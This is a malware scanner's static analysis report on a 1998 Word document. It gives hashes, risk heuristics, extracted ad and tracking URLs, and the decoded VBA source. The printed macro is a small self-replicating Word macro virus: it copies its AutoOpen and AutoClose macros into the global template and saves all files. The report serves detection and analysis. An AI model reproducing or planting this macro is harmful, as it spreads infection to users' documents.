Office (OLE) static analysis report

Static analysis result for SHA-256 bb1db265fe0a7080…

SUSPICIOUS

Office (OLE)

52.9 KB Created: 1998-09-21 04:09:00 Authoring application: Microsoft Word 8.0 First seen: 2013-09-24
MD5: 599d8870d6b1f7a6086db91aaf70054c SHA-1: 4ee475cd3b1f8991371b743bd20fa103d67fda86 SHA-256: bb1db265fe0a708054908baa6b30360616bc482648dc1041b51726832095ed64
58 Risk Score

Heuristics 5

  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    WordBasic.MacroCopy WordBasic.[MacroFileName$]("AutoClose") + ":AutoClose", "Global:AutoClose"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://adtrack.ministerial5.com/clicknew/?a=637394 In document text (OLE body)
    • http://ly.lygo.com/ly/tpSite/images/freeAd2.jpgIn document text (OLE body)
    • http://ad.yieldmanager.com/st?ad_type=iframe&ad_size=728x90&section=209094In document text (OLE body)
    • http://ad.yieldmanager.com/pixel?id=1901600&t=2In document text (OLE body)
    • https://c.compete.com/bootstrap/In document text (OLE body)
    • http://c.compete.com/bootstrap/In document text (OLE body)
    • http://members.tripod.com/adm/img/common/ot_smallframe.gif?rand=367028In document text (OLE body)
    • http://members.tripod.com/adm/img/common/ot_adserved.gif?rand=367028In document text (OLE body)
    • http://members.tripod.com/adm/partner/criteo_ld_kw.jsIn document text (OLE body)
    • http://scripts.lycos.com/catman/init.jsIn document text (OLE body)
    • http://members.tripod.com/adm/img/common/ot_noscript.gif?rand=367028In document text (OLE body)
    • http://loadus.exelator.com/load/?p=398&g=003&ctg=&subctg=&kw=&refkw=In document text (OLE body)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 578 bytes
SHA-256: 53d5c7b99f13c4571d5838433a09b123b9caf0a3a4712777c8fb220ef2bbcb32
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
'AutoOpen
On Error Resume Next
WordBasic.MacroCopy WordBasic.[MacroFileName$]("AutoOpen") + ":AutoOpen", "Global:AutoOpen"
WordBasic.MacroCopy WordBasic.[MacroFileName$]("AutoClose") + ":AutoClose", "Global:AutoClose"
WordBasic.FileSaveAll 1
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.